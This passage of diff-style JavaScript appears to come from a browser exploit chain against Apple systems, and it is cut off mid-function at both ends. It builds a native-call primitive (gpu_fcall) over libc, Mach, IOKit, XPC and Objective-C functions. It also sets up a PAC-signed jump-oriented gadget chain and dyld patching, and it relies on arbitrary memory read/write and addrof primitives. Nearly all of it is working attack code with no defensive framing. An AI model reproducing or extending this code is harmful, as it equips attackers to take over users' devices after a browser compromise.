gpu_fcall(WRITEV, ...args); + } + function lseek(...args) { + return gpu_fcall(LSEEK, ...args); + } + function memcpy(...args) { + return gpu_fcall(MEMCPY, ...args); + } + function memset(...args) { + return gpu_fcall(MEMSET, ...args); + } + function memmem(...args) { + return gpu_fcall(MEMMEM, ...args); + } + function usleep(...args) { + return gpu_fcall(USLEEP, ...args); + } + function exit(...args) { + return gpu_fcall(EXIT, ...args); + } + function mach_vm_copy(...args) { + return gpu_fcall(MACH_VM_COPY, ...args); + } + function mach_vm_allocate(...args) { + return gpu_fcall(MACH_VM_ALLOCATE, ...args); + } + function mach_vm_deallocate(...args) { + return gpu_fcall(MACH_VM_DEALLOCATE, ...args); + } + function mach_vm_read(...args) { + return gpu_fcall(MACH_VM_READ, ...args); + } + function mach_vm_map(...args) { + return gpu_fcall(MACH_VM_MAP, ...args); + } + function mach_vm_remap(...args) { + return gpu_fcall(MACH_VM_REMAP, ...args); + } + function mach_make_memory_entry_64(...args) { + return gpu_fcall(MACH_MAKE_MEMORY_ENTRY_64, ...args); + } + function mmap(...args) { + return gpu_fcall(MMAP, ...args); + } + function munmap(...args) { + return gpu_fcall(MUNMAP, ...args); + } + function msync(...args) { + return gpu_fcall(MSYNC, ...args); + } + function mprotect(...args) { + return gpu_fcall(MPROTECT, ...args); + } + function mach_absolute_time(...args) { + return gpu_fcall(MACH_ABSOLUTE_TIME, ...args); + } + function mach_timebase_info(...args) { + return gpu_fcall(MACH_TIMEBASE_INFO, ...args); + } + function bootstrap_look_up(...args) { + return gpu_fcall(BOOTSTRAP_LOOK_UP, ...args); + } + function mach_port_allocate(...args) { + return gpu_fcall(MACH_PORT_ALLOCATE, ...args); + } + function mach_port_mod_refs(...args) { + return gpu_fcall(MACH_PORT_MOD_REFS, ...args); + } + function mach_port_deallocate(...args) { + return gpu_fcall(MACH_PORT_DEALLOCATE, ...args); + } + function mach_port_destroy(...args) { + return gpu_fcall(MACH_PORT_DESTROY, ...args); + } + function mach_port_insert_right(...args) { + return gpu_fcall(MACH_PORT_INSERT_RIGHT, ...args); + } + function mach_msg(...args) { + return gpu_fcall(MACH_MSG, ...args); + } + function mach_msg_send(...args) { + return gpu_fcall(MACH_MSG_SEND, ...args); + } + function pthread_self(...args) { + return gpu_fcall(PTHREAD_SELF, ...args); + } + function pthread_create(...args) { + return gpu_fcall(PTHREAD_CREATE, ...args); + } + function pthread_create_suspended_np(...args) { + return gpu_fcall(PTHREAD_CREATE_SUSPENDED_NP, ...args); + } + function pthread_attr_init(...args) { + return gpu_fcall(PTHREAD_ATTR_INIT, ...args); + } + function pthread_attr_setstacksize(...args) { + return gpu_fcall(PTHREAD_ATTR_SETSTACKSIZE, ...args); + } + function pthread_attr_setstackaddr(...args) { + return gpu_fcall(PTHREAD_ATTR_SETSTACKADDR, ...args); + } + function pthread_mach_thread_np(...args) { + return gpu_fcall(PTHREAD_MACH_THREAD_NP, ...args); + } + function pthread_join(...args) { + return gpu_fcall(PTHREAD_JOIN, ...args); + } + function pthread_yield_np(...args) { + return gpu_fcall(PTHREAD_YIELD_NP, ...args); + } + function thread_suspend(...args) { + return gpu_fcall(THREAD_SUSPEND, ...args); + } + function thread_resume(...args) { + return gpu_fcall(THREAD_RESUME, ...args); + } + function thread_terminate(...args) { + return gpu_fcall(THREAD_TERMINATE, ...args); + } + function pthread_mutex_lock(...args) { + return gpu_fcall(PTHREAD_MUTEX_LOCK, ...args); + } + function pthread_mutex_unlock(...args) { + return gpu_fcall(PTHREAD_MUTEX_UNLOCK, ...args); + } + function ulock_wait(...args) { + return gpu_fcall(ULOCK_WAIT, ...args); + } + function ulock_wake(...args) { + return gpu_fcall(ULOCK_WAKE, ...args); + } + function sysctlbyname(...args) { + return gpu_fcall(SYSCTLBYNAME, ...args); + } + function IOServiceMatching(...args) { + return gpu_fcall(IOSERVICEMATCHING, ...args); + } + function IOServiceGetMatchingService(...args) { + return gpu_fcall(IOSERVICEGETMATCHINGSERVICE, ...args); + } + function IOServiceOpen(...args) { + return gpu_fcall(IOSERVICEOPEN, ...args); + } + function IOServiceClose(...args) { + return gpu_fcall(IOSERVICECLOSE, ...args); + } + function IOConnectCallStructMethod(...args) { + return gpu_fcall(IOCONNECTCALLSTRUCTMETHOD, ...args); + } + function pthread_mutex_init(...args) { + return gpu_fcall(PTHREAD_MUTEX_INIT, ...args); + } + function kIOMainPortDefault() { + return uread32(func_resolve("kIOMainPortDefault")); + } + function lazy_fcall(fname, ...args) { + let fptr = func_resolve(fname); + assert(fptr != 0n, `failed to lookup ${fname}`); + return gpu_fcall(fptr, ...args); + } + function mach_task_self() { + return 0x203n; + } + function sel_registerName(cstr) { + return gpu_fcall(SEL_REGISTERNAME, cstr); + } + function objc_getClass(class_name) { + return gpu_fcall(OBJC_GETCLASS, get_cstring(class_name)); + } + function objc_alloc(class_obj) { + return gpu_fcall(OBJC_ALLOC, class_obj); + } + function objc_alloc_init(class_obj) { + return gpu_fcall(OBJC_ALLOC_INIT, class_obj); + } + function objc_msgSend(...args) { + return gpu_fcall(OBJC_MSGSEND, ...args); + } + function CFStringCreateWithCString(allocator, cstring, encoding) { + return gpu_fcall(CFSTRINGCREATEWITHCSTRING, allocator, cstring, encoding); + } + function CFDictionaryCreateMutable(allocator, capacity, keyCallBacks, valueCallBacks) { + return gpu_fcall(CFDICTIONARYCREATEMUTABLE, allocator, capacity, keyCallBacks, valueCallBacks); + } + function CFDictionarySetValue(dict, key, value) { + return gpu_fcall(CFDICTIONARYSETVALUE, dict, key, value); + } + function CFNumberCreate(allocator, theType, valuePtr) { + return gpu_fcall(CFNUMBERCREATE, allocator, theType, valuePtr); + } + function IOSurfaceCreate(dict) { + return gpu_fcall(IOSURFACECREATE, dict); + } + function IOSurfaceGetBaseAddress(surface) { + return gpu_fcall(IOSURFACEGETBASEADDRESS, surface); + } + function IOSurfacePrefetchPages(...args) { + return gpu_fcall(IOSURFACEPREFETCHPAGES, ...args); + } + function IOSurfaceGetID(...args) { + return gpu_fcall(IOSURFACEGETID, ...args); + } + function CFRelease(obj) { + return gpu_fcall(CFRELEASE, obj); + } + function CFShow(obj) { + return gpu_fcall(CFSHOW, obj); + } + function create_cfstring(cstring) { + return CFStringCreateWithCString(kCFAllocatorDefault, cstring, kCFStringEncodingUTF8); + } + function object_retainCount(obj) { + return objc_msgSend(obj, selector_retainCount); + } + function object_release(obj) { + return objc_msgSend(obj, selector_release); + } + function objectForKeyedSubscript(obj, cfstr_key) { + return objc_msgSend(obj, selector_objectForKeyedSubscript, cfstr_key); + } + function evaluateScript(obj, jscript) { + return objc_msgSend(obj, selector_evaluateScript, jscript); + } + function methodSignatureForSelector(obj, sel) { + return objc_msgSend(obj, selector_methodSignatureForSelector, sel); + } + function invocationWithMethodSignature(obj, sig) { + return objc_msgSend(obj, selector_invocationWithMethodSignature, sig); + } + function setArgument_atIndex(obj, arg, idx) { + return objc_msgSend(obj, selector_setArgument_atIndex, arg, idx); + } + function initWithTarget_selector_object(obj, target, sel, object) { + return objc_msgSend(obj, selector_initWithTarget_selector_object, target, sel, object); + } + function nsthread_start(obj) { + return objc_msgSend(obj, selector_start); + } + let PAGE_SIZE = 0x4000n; + let NULL = 0n; + let MACH_PORT_NULL = 0n; + let F_OK = 0n; + let NSEC_PER_USEC = 1000n; + let NSEC_PER_MSEC = 1000000n; + let KERN_SUCCESS = 0n; + let KERN_INVALID_ARGUMENT = 4n; + let SEEK_SET = 0x0n; + let O_RDWR = 0x2n; + let O_CREAT = 0x200n; + let MS_INVALIDATE = 0x2n; + let MS_KILLPAGES = 0x4n; + let MS_DEACTIVATE = 0x8n; + let MS_SYNC = 0x10n; + let PROT_NONE = 0n; + let PROT_READ = 0x1n; + let PROT_WRITE = 0x2n; + let VM_PROT_DEFAULT = 0x3n; + const MAP_MEM_VM_SHARE = 0x400000n; + let MAP_SHARED = 0x1n; + let MAP_PRIVATE = 0x2n; + let MAP_ANON = 0x1000n; + let VM_FLAGS_FIXED = 0x0n; + let VM_FLAGS_ANYWHERE = 0x1n; + let VM_FLAGS_RANDOM_ADDR = 0x8n; + let VM_FLAGS_OVERWRITE = 0x4000n; + let VM_INHERIT_NONE = 2n; + let _CS_DARWIN_USER_TEMP_DIR = 65537n; + let MAXPATHLEN = 1024n; + let UL_COMPARE_AND_WAIT = 1n; + let ULF_WAKE_ALL = 0x100n; + function uread_bitsize(where, bs) { + let mask = (0x1n << bs) - 0x1n; + return uread64(where) & mask; + } + function uread32(where) { + return uread_bitsize(where, 32n); + } + function uwrite_bitsize(where, what, bs) { + let mask = (0x1n << bs) - 0x1n; + let new_what = uread64(where) & ~mask | what & mask; + uwrite64(where, new_what); + } + let UINT64_BITSIZE = 0x8n * 0x8n; + let UINT32_BITSIZE = 0x8n * 0x4n; + let UINT16_BITSIZE = 0x8n * 0x2n; + let UINT8_BITSIZE = 0x8n * 0x1n; + function struct_field_set(struct, buf, field, val) { + let bit_size = struct[field][0]; + let offset = struct[field][1]; + uwrite_bitsize(buf + offset, val, bit_size); + } + function struct_field_get(struct, buf, field) { + let bit_size = struct[field][0]; + let offset = struct[field][1]; + return uread_bitsize(buf + offset, bit_size); + } + function get_field_addr(struct, buf, field) { + return buf + struct[field][1]; + } + function trunc_page(x) { + return x & 0xffffffffffffc000n; + } + function new_uint64_t(val = 0n) { + let buf = calloc(1n, 8n); + uwrite64(buf, val); + return buf; + } + function setup_fcall_jopchain() { + let save_sp_args = calloc(1n, PAGE_SIZE); + let set_sp_stack_ptr = new_uint64_t(); + mach_vm_allocate(mach_task_self(), set_sp_stack_ptr, PAGE_SIZE * 0x20n, VM_FLAGS_ANYWHERE); + let new_thread_set_sp_stack = uread64(set_sp_stack_ptr); + new_thread_set_sp_stack += PAGE_SIZE * 0x10n; + uwrite64(save_sp_args + 0x0n, new_thread_set_sp_stack); + uwrite64(save_sp_args + 0x8n, pacia(set_sp_gadget, 0x720fn)); + uwrite64(save_sp_args + 0x10n, pacia(set_all_registers_gadget, 0n)); + let new_thread_dyld_patching_args = calloc(1n, PAGE_SIZE); + uwrite64(new_thread_dyld_patching_args + 0x108n, save_sp_args); + uwrite64(new_thread_dyld_patching_args + 0x110n, 1n); + uwrite64(new_thread_dyld_patching_args + 0x2a0n, pacia(save_sp_gadget, 0n)); + return { + "save_sp_args": save_sp_args, + "set_sp_stack": new_thread_set_sp_stack, + "dyld_patching_args": new_thread_dyld_patching_args + }; + } + function setup_dyld_patching_fcall(pc, x0, x1, x2, x3) { + let args = calloc(1n, 0x100n); + uwrite64(args + 0x00n, x0); + uwrite64(args + 0x08n, x1); + uwrite64(args + 0x10n, x2); + uwrite64(args + 0x18n, x3); + let dyld_patching_args = calloc(1n, PAGE_SIZE); + LOG(`dyld_patching_args: ${dyld_patching_args.hex()}`); + uwrite64(dyld_patching_args + 0x8n, dyld_patching_args); + uwrite64(dyld_patching_args + 0x108n, args); + uwrite64(dyld_patching_args + 0x110n, 0n); + uwrite64(dyld_patching_args + 0x2a0n, pacia(xpac(pc), 0n)); + return dyld_patching_args; + } + let PTHREAD_SELF = func_resolve("pthread_self"); + let SYSLOG = func_resolve("syslog"); + let PUTS = func_resolve("puts"); + let DLOPEN = func_resolve("dlopen"); + let PTHREAD_GETSPECIFIC = func_resolve("pthread_getspecific"); + let CALLOC = func_resolve("calloc"); + let REALLOC = func_resolve("realloc"); + let FREE = func_resolve("free"); + let CONFSTR = func_resolve("confstr"); + let ACCESS = func_resolve("access"); + let MKDIR = func_resolve("mkdir"); + let STRLCAT = func_resolve("strlcat"); + let STRDUP = func_resolve("strdup"); + let STRLEN = func_resolve("strlen"); + let OPEN = func_resolve("open"); + let CLOSE = func_resolve("close"); + let REMOVE = func_resolve("remove"); + let SYNC = func_resolve("sync"); + let WRITE = func_resolve("write"); + let PWRITE = func_resolve("pwrite"); + let PREAD = func_resolve("pread"); + let WRITEV = func_resolve("writev"); + let LSEEK = func_resolve("lseek"); + let MEMCPY = func_resolve("memcpy"); + let MEMSET = func_resolve("memset"); + let MEMMEM = func_resolve("memmem"); + let USLEEP = func_resolve("usleep"); + let EXIT = func_resolve("exit"); + let MACH_VM_COPY = func_resolve("mach_vm_copy"); + let MACH_VM_ALLOCATE = func_resolve("mach_vm_allocate"); + let MACH_VM_DEALLOCATE = func_resolve("mach_vm_deallocate"); + let MACH_VM_READ = func_resolve("mach_vm_read"); + let MACH_VM_MAP = func_resolve("mach_vm_map"); + let MACH_VM_REMAP = func_resolve("mach_vm_remap"); + let MACH_MAKE_MEMORY_ENTRY_64 = func_resolve("mach_make_memory_entry_64"); + let MMAP = func_resolve("mmap"); + let MUNMAP = func_resolve("munmap"); + let MSYNC = func_resolve("msync"); + let MPROTECT = func_resolve("mprotect"); + let MACH_ABSOLUTE_TIME = func_resolve("mach_absolute_time"); + let MACH_TIMEBASE_INFO = func_resolve("mach_timebase_info"); + let BOOTSTRAP_LOOK_UP = func_resolve("bootstrap_look_up"); + let MACH_PORT_ALLOCATE = func_resolve("mach_port_allocate"); + let MACH_PORT_MOD_REFS = func_resolve("mach_port_mod_refs"); + let MACH_PORT_DEALLOCATE = func_resolve("mach_port_deallocate"); + let MACH_PORT_DESTROY = func_resolve("mach_port_destroy"); + let MACH_PORT_INSERT_RIGHT = func_resolve("mach_port_insert_right"); + let MACH_MSG = func_resolve("mach_msg"); + let MACH_MSG_SEND = func_resolve("mach_msg_send"); + let PTHREAD_CREATE = func_resolve("pthread_create"); + let PTHREAD_CREATE_SUSPENDED_NP = func_resolve("pthread_create_suspended_np"); + let PTHREAD_ATTR_INIT = func_resolve("pthread_attr_init"); + let PTHREAD_ATTR_SETSTACKSIZE = func_resolve("pthread_attr_setstacksize"); + let PTHREAD_ATTR_SETSTACKADDR = func_resolve("pthread_attr_setstackaddr"); + let PTHREAD_MACH_THREAD_NP = func_resolve("pthread_mach_thread_np"); + let PTHREAD_JOIN = func_resolve("pthread_join"); + let PTHREAD_YIELD_NP = func_resolve("pthread_yield_np"); + let THREAD_SUSPEND = func_resolve("thread_suspend"); + let THREAD_RESUME = func_resolve("thread_resume"); + let THREAD_TERMINATE = func_resolve("thread_terminate"); + let THREAD_POLICY_SET = func_resolve("thread_policy_set"); + let PTHREAD_MUTEX_INIT = func_resolve("pthread_mutex_init"); + let PTHREAD_MUTEX_LOCK = func_resolve("pthread_mutex_lock"); + let PTHREAD_MUTEX_UNLOCK = func_resolve("pthread_mutex_unlock"); + let ULOCK_WAIT = func_resolve("__ulock_wait"); + let ULOCK_WAKE = func_resolve("__ulock_wake"); + let SYSCTLBYNAME = func_resolve("sysctlbyname"); + let IOSERVICEMATCHING = func_resolve("IOServiceMatching"); + let IOSERVICEGETMATCHINGSERVICE = func_resolve("IOServiceGetMatchingService"); + let IOSERVICEOPEN = func_resolve("IOServiceOpen"); + let IOSERVICECLOSE = func_resolve("IOServiceClose"); + let IOCONNECTCALLSTRUCTMETHOD = func_resolve("IOConnectCallStructMethod"); + let OBJC_GETCLASS = func_resolve("objc_getClass"); + let OBJC_MSGSEND = func_resolve("objc_msgSend"); + let OBJC_ALLOC = func_resolve("objc_alloc"); + let OBJC_ALLOC_INIT = func_resolve("objc_alloc_init"); + let SEL_REGISTERNAME = func_resolve("sel_registerName"); + let CFDICTIONARYCREATEMUTABLE = func_resolve("CFDictionaryCreateMutable"); + let CFDICTIONARYSETVALUE = func_resolve("CFDictionarySetValue"); + let CFNUMBERCREATE = func_resolve("CFNumberCreate"); + let CFRELEASE = func_resolve("CFRelease"); + let CFSHOW = func_resolve("CFShow"); + let CFSTRINGCREATEWITHCSTRING = func_resolve("CFStringCreateWithCString"); + let IOSURFACECREATE = func_resolve("IOSurfaceCreate"); + let IOSURFACEGETBASEADDRESS = func_resolve("IOSurfaceGetBaseAddress"); + let IOSURFACEPREFETCHPAGES = func_resolve("IOSurfacePrefetchPages"); + let IOSURFACEGETID = func_resolve("IOSurfaceGetID"); + let kCFAllocatorDefault = uread64(func_resolve("kCFAllocatorDefault")); + let kCFStringEncodingUTF8 = 0x08000100n; + let kCFTypeDictionaryKeyCallBacks = func_resolve("kCFTypeDictionaryKeyCallBacks"); + let kCFTypeDictionaryValueCallBacks = func_resolve("kCFTypeDictionaryValueCallBacks"); + let kIOSurfaceAllocSize = uread64(func_resolve("kIOSurfaceAllocSize")); + let selector_evaluateScript = sel_registerName(get_cstring("evaluateScript:")); + let selector_initWithTarget_selector_object = sel_registerName(get_cstring("initWithTarget:selector:object:")); + let selector_invocationWithMethodSignature = sel_registerName(get_cstring("invocationWithMethodSignature:")); + let selector_invoke = sel_registerName(get_cstring("invoke")); + let selector_isFinished = sel_registerName(get_cstring("isFinished")); + let selector_methodSignatureForSelector = sel_registerName(get_cstring("methodSignatureForSelector:")); + let selector_objectForKeyedSubscript = sel_registerName(get_cstring("objectForKeyedSubscript:")); + let selector_release = sel_registerName(get_cstring("release")); + let selector_retainCount = sel_registerName(get_cstring("retainCount")); + let selector_setArgument_atIndex = sel_registerName(get_cstring("setArgument:atIndex:")); + let selector_start = sel_registerName(get_cstring("start")); + let cfstr_boxed_arr = create_cfstring(get_cstring("boxed_arr")); + let cfstr_control_array = create_cfstring(get_cstring("control_array")); + let cfstr_control_array_8 = create_cfstring(get_cstring("control_array_8")); + let cfstr_func_offsets_array = create_cfstring(get_cstring("func_offsets_array")); + let cfstr_isNaN = create_cfstring(get_cstring("isNaN")); + let cfstr_rw_array = create_cfstring(get_cstring("rw_array")); + let cfstr_rw_array_8 = create_cfstring(get_cstring("rw_array_8")); + let cfstr_unboxed_arr = create_cfstring(get_cstring("unboxed_arr")); + let invoke_class = objc_getClass("NSInvocation"); + let jsc_class = objc_getClass("JSContext"); + let nsthread_class = objc_getClass("NSThread"); + let XPC_RETAIN = func_resolve("xpc_retain"); + let XPC_BOOL_CREATE = func_resolve("xpc_bool_create"); + let XPC_RELEASE = func_resolve("xpc_release"); + let XPC_CONNECTION_CREATE_MACH_SERVICE = func_resolve("xpc_connection_create_mach_service"); + let XPC_CONNECTION_CANCEL = func_resolve("xpc_connection_cancel"); + let XPC_CONNECTION_SET_EVENT_HANDLER = func_resolve("xpc_connection_set_event_handler"); + let XPC_CONNECTION_ACTIVATE = func_resolve("xpc_connection_activate"); + let XPC_CONNECTION_SEND_MESSAGE_WITH_REPLY_SYNC = func_resolve("xpc_connection_send_message_with_reply_sync"); + let XPC_DICTIONARY_CREATE_EMPTY = func_resolve("xpc_dictionary_create_empty"); + let XPC_DICTIONARY_SET_VALUE = func_resolve("xpc_dictionary_set_value"); + let XPC_DICTIONARY_GET_UINT64 = func_resolve("xpc_dictionary_get_uint64"); + let XPC_DICTIONARY_SET_UINT64 = func_resolve("xpc_dictionary_set_uint64"); + let XPC_DICTIONARY_GET_INT64 = func_resolve("xpc_dictionary_get_int64"); + let XPC_ARRAY_CREATE_EMPTY = func_resolve("xpc_array_create_empty"); + let XPC_ARRAY_APPEND_VALUE = func_resolve("xpc_array_append_value"); + let XPC_UINT64_CREATE = func_resolve("xpc_uint64_create"); + let XPC_INT64_CREATE = func_resolve("xpc_int64_create"); + let XPC_DATA_CREATE = func_resolve("xpc_data_create"); + let XPC_DATA_CREATE_WITH_DISPATCH_DATA = func_resolve("xpc_data_create_with_dispatch_data"); + let XPC_STRING_CREATE = func_resolve("xpc_string_create"); + let XPC_UUID_CREATE = func_resolve("xpc_uuid_create"); + let XPC_NULL_CREATE = func_resolve("xpc_null_create"); + let XPC_ENDPOINT_CREATE = func_resolve("xpc_endpoint_create"); + let XPC_ENDPOINT_DISPOSE = func_resolve("xpc_endpoint_dispose"); + let XPC_CONNECTION_SEND_MESSAGE_WITH_REPLY = func_resolve("xpc_connection_send_message_with_reply"); + let IOSURFACE_CREATE_XPC_OBJECT = func_resolve("IOSurfaceCreateXPCObject"); + let MIG_GET_REPLY_PORT = func_resolve("mig_get_reply_port"); + let DISPATCH_DATA_CREATE = func_resolve("dispatch_data_create"); + function xpc_retain(object) { + return gpu_fcall(XPC_RETAIN, object); + } + function xpc_bool_create(value) { + return gpu_fcall(XPC_BOOL_CREATE, value); + } + function xpc_release(object) { + return gpu_fcall(XPC_RELEASE, object); + } + function xpc_connection_cancel(object) { + return gpu_fcall(XPC_CONNECTION_CANCEL, object); + } + function xpc_connection_create_mach_service(x0, x1, x2) { + if (typeof x0 === "string") { + x0 = get_cstring(x0); + } + return gpu_fcall(XPC_CONNECTION_CREATE_MACH_SERVICE, x0, x1, x2); + } + function xpc_connection_set_event_handler(x0, x1) { + return gpu_fcall(XPC_CONNECTION_SET_EVENT_HANDLER, x0, x1); + } + function xpc_connection_activate(x0) { + return gpu_fcall(XPC_CONNECTION_ACTIVATE, x0); + } + function xpc_connection_send_message_with_reply_sync(connection, message) { + return gpu_fcall(XPC_CONNECTION_SEND_MESSAGE_WITH_REPLY_SYNC, connection, message); + } + function xpc_dictionary_create_empty() { + return gpu_fcall(XPC_DICTIONARY_CREATE_EMPTY); + } + function xpc_dictionary_set_value(dict, key, value) { + if (typeof key === "string") { + key = get_cstring(key); + } + return gpu_fcall(XPC_DICTIONARY_SET_VALUE, dict, key, value); + } + function xpc_dictionary_get_uint64(dict, key) { + if (typeof key === "string") { + key = get_cstring(key); + } + return gpu_fcall(XPC_DICTIONARY_GET_UINT64, dict, key); + } + function xpc_dictionary_set_uint64(dict, key, value) { + if (typeof key === "string") { + key = get_cstring(key); + } + return gpu_fcall(XPC_DICTIONARY_SET_UINT64, dict, key, value); + } + function xpc_dictionary_get_int64(dict, key) { + if (typeof key === "string") { + key = get_cstring(key); + } + return gpu_fcall(XPC_DICTIONARY_GET_INT64, dict, key); + } + function xpc_array_create_empty() { + return gpu_fcall(XPC_ARRAY_CREATE_EMPTY); + } + function xpc_array_append_value(array, value) { + return gpu_fcall(XPC_ARRAY_APPEND_VALUE, array, value); + } + function xpc_uint64_create(value) { + if (typeof value == "number") { + value = BigInt(value); + } + return gpu_fcall(XPC_UINT64_CREATE, value); + } + function xpc_int64_create(value) { + if (typeof value == "number") { + value = BigInt(value); + } + return gpu_fcall(XPC_INT64_CREATE, value); + } + function xpc_data_create(bytes, length) { + return gpu_fcall(XPC_DATA_CREATE, bytes, length); + } + function xpc_data_create_with_dispatch_data(ddata) { + return gpu_fcall(XPC_DATA_CREATE_WITH_DISPATCH_DATA, ddata); + } + function xpc_string_create(string) { + if (typeof string === "string") { + string = get_cstring(string); + } + return gpu_fcall(XPC_STRING_CREATE, string); + } + function xpc_uuid_create(uuid) { + if (typeof uuid === "object") { + uuid = wc_uread64(addrof(uuid).add(0x10n)); + } + if (integrated) { + uuid = gpuCopyBuffer(uuid, 0x10n); + } + return gpu_fcall(XPC_UUID_CREATE, uuid); + } + function xpc_null_create() { + return gpu_fcall(XPC_NULL_CREATE); + } + function xpc_endpoint_create(conn) { + return gpu_fcall(XPC_ENDPOINT_CREATE, conn); + } + function xpc_endpoint_dispose(conn) { + return gpu_fcall(XPC_ENDPOINT_DISPOSE, conn); + } + function xpc_connection_send_message_with_reply(a, b, c, d) { + return gpu_fcall(XPC_CONNECTION_SEND_MESSAGE_WITH_REPLY, a, b, c, d); + } + function IOSurfaceCreateXPCObject(surface) { + return gpu_fcall(IOSURFACE_CREATE_XPC_OBJECT, surface); + } + function mig_get_reply_port() { + return gpu_fcall(MIG_GET_REPLY_PORT); + } + function dispatch_data_create(buffer, size, queue, destructor) { + return gpu_fcall(DISPATCH_DATA_CREATE, buffer, size, queue, destructor); + } + let MACH_MSG_TIMEOUT_NONE = 0n; + let MACH_PORT_RIGHT_SEND = 0n; + let MACH_PORT_RIGHT_RECEIVE = 1n; + let MACH_PORT_RIGHT_SEND_ONCE = 2n; + let MACH_PORT_RIGHT_PORT_SET = 3n; + let MACH_PORT_RIGHT_DEAD_NAME = 4n; + let MACH_PORT_RIGHT_LABELH = 5n; + let MACH_PORT_RIGHT_NUMBER = 6n; + let MACH_MSG_TYPE_MOVE_RECEIVE = 16n; + let MACH_MSG_TYPE_MOVE_SEND = 17n; + let MACH_MSG_TYPE_MOVE_SEND_ONCE = 18n; + let MACH_MSG_TYPE_COPY_SEND = 19n; + let MACH_MSG_TYPE_MAKE_SEND = 20n; + let MACH_MSG_TYPE_MAKE_SEND_ONCE = 21n; + let MACH_MSG_TYPE_COPY_RECEIVE = 22n; + let MACH_MSG_TYPE_DISPOSE_RECEIVE = 24n; + let MACH_MSG_TYPE_DISPOSE_SEND = 25n; + let MACH_MSG_TYPE_DISPOSE_SEND_ONCE = 26n; + let MACH_MSG_PORT_DESCRIPTOR = 0n; + let MACH_MSG_OOL_DESCRIPTOR = 1n; + let MACH_MSG_OOL_PORTS_DESCRIPTOR = 2n; + let MACH_MSG_OOL_VOLATILE_DESCRIPTOR = 3n; + let MACH_MSG_GUARDED_PORT_DESCRIPTOR = 4n; + let MACH_MSG_OPTION_NONE = 0x00000000n; + let MACH_MSG_STRICT_REPLY = 0x00000200n; + let MACH_SEND_MSG = 0x00000001n; + let MACH_RCV_MSG = 0x00000002n; + let MACH_RCV_LARGE = 0x00000004n; + let MACH_RCV_LARGE_IDENTITY = 0x00000008n; + let MACH_SEND_TIMEOUT = 0x00000010n; + let MACH_SEND_OVERRIDE = 0x00000020n; + let MACH_SEND_INTERRUPT = 0x00000040n; + let MACH_SEND_NOTIFY = 0x00000080n; + let MACH_SEND_ALWAYS = 0x00010000n; + let MACH_SEND_FILTER_NONFATAL = 0x00010000n; + let MACH_SEND_TRAILER = 0x00020000n; + let MACH_SEND_NOIMPORTANCE = 0x00040000n; + let MACH_SEND_NODENAP = null && MACH_SEND_NOIMPORTANCE; + let MACH_SEND_IMPORTANCE = 0x00080000n; + let MACH_SEND_SYNC_OVERRIDE = 0x00100000n; + let MACH_SEND_PROPAGATE_QOS = 0x00200000n; + let MACH_SEND_SYNC_USE_THRPRI = null && MACH_SEND_PROPAGATE_QOS; + let MACH_SEND_KERNEL = 0x00400000n; + let MACH_SEND_SYNC_BOOTSTRAP_CHECKIN = 0x00800000n; + let MACH_RCV_TIMEOUT = 0x00000100n; + let MACH_RCV_NOTIFY = 0x00000000n; + let MACH_RCV_INTERRUPT = 0x00000400n; + let MACH_RCV_VOUCHER = 0x00000800n; + let MACH_RCV_OVERWRITE = 0x00000000n; + let MACH_RCV_GUARDED_DESC = 0x00001000n; + let MACH_RCV_SYNC_WAIT = 0x00004000n; + let MACH_RCV_SYNC_PEEK = 0x00008000n; + let MACH_MSGH_BITS_ZERO = 0x00000000n; + let MACH_MSGH_BITS_REMOTE_MASK = 0x0000001fn; + let MACH_MSGH_BITS_LOCAL_MASK = 0x00001f00n; + let MACH_MSGH_BITS_VOUCHER_MASK = 0x001f0000n; + let MACH_MSGH_BITS_PORTS_MASK = MACH_MSGH_BITS_REMOTE_MASK | MACH_MSGH_BITS_LOCAL_MASK | MACH_MSGH_BITS_VOUCHER_MASK; + let MACH_MSGH_BITS_COMPLEX = 0x80000000n; + let MACH_MSGH_BITS_USER = 0x801f1f1fn; + let MACH_MSGH_BITS_RAISEIMP = 0x20000000n; + let MACH_MSGH_BITS_DENAP = null && MACH_MSGH_BITS_RAISEIMP; + let MACH_MSGH_BITS_IMPHOLDASRT = 0x10000000n; + let MACH_MSGH_BITS_DENAPHOLDASRT = null && MACH_MSGH_BITS_IMPHOLDASRT; + let MACH_MSGH_BITS_CIRCULAR = 0x10000000n; + let MACH_MSGH_BITS_USED = 0xb01f1f1fn; + let MACH_MSG_PHYSICAL_COPY = 0n; + let MACH_MSG_VIRTUAL_COPY = 1n; + let MACH_MSG_ALLOCATE = 2n; + let MACH_MSG_OVERWRITE = 3n; + let MACH_MSG_KALLOC_COPY_T = 4n; + let MACH_SEND_TIMED_OUT = 0x10000004n; + function MACH_MSGH_BITS(remote, local) { + return remote | local << 8n; + } + function MACH_MSGH_BITS_SET_PORTS(remote, local, voucher) { + return remote & MACH_MSGH_BITS_REMOTE_MASK | local << 8n & MACH_MSGH_BITS_LOCAL_MASK | voucher << 16n & MACH_MSGH_BITS_VOUCHER_MASK; + } + function MACH_MSGH_BITS_SET(remote, local, voucher, other) { + return MACH_MSGH_BITS_SET_PORTS(remote, local, voucher) | other & ~MACH_MSGH_BITS_PORTS_MASK; + } + let mach_msg_header_t = { + "msgh_bits": [UINT32_BITSIZE, 0x0n], + "msgh_size": [UINT32_BITSIZE, 0x4n], + "msgh_remote_port": [UINT32_BITSIZE, 0x8n], + "msgh_local_port": [UINT32_BITSIZE, 0xcn], + "msgh_voucher_port": [UINT32_BITSIZE, 0x10n], + "msgh_id": [UINT32_BITSIZE, 0x14n], + "_size": 0x18n + }; + let mach_msg_body_t = { + "msgh_descriptor_count": [UINT32_BITSIZE, 0x0n], + "_size": 0x4n + }; + let mach_msg_port_descriptor_t = { + "name": [UINT32_BITSIZE, 0x0n], + "pad1": [UINT32_BITSIZE, 0x4n], + "pad2": [UINT16_BITSIZE, 0x8n], + "disposition": [UINT8_BITSIZE, 0xan], + "type": [UINT8_BITSIZE, 0xbn], + "_size": 0xcn + }; + let mach_msg_ool_descriptor_t = { + "address": [UINT64_BITSIZE, 0x0n], + "deallocate": [UINT8_BITSIZE, 0x8n], + "copy": [UINT8_BITSIZE, 0x9n], + "pad1": [UINT8_BITSIZE, 0xan], + "type": [UINT8_BITSIZE, 0xbn], + "size": [UINT32_BITSIZE, 0xcn], + "_size": 0x10n + }; + function mach_msg_header_set(msg, field, val) { + struct_field_set(mach_msg_header_t, msg, field, val); + } + function mach_msg_body_set(msg, field, val) { + struct_field_set(mach_msg_body_t, msg, field, val); + } + function mach_msg_port_descriptor_set(msg, field, val) { + struct_field_set(mach_msg_port_descriptor_t, msg, field, val); + } + function mach_msg_ool_descriptor_set(msg, field, val) { + 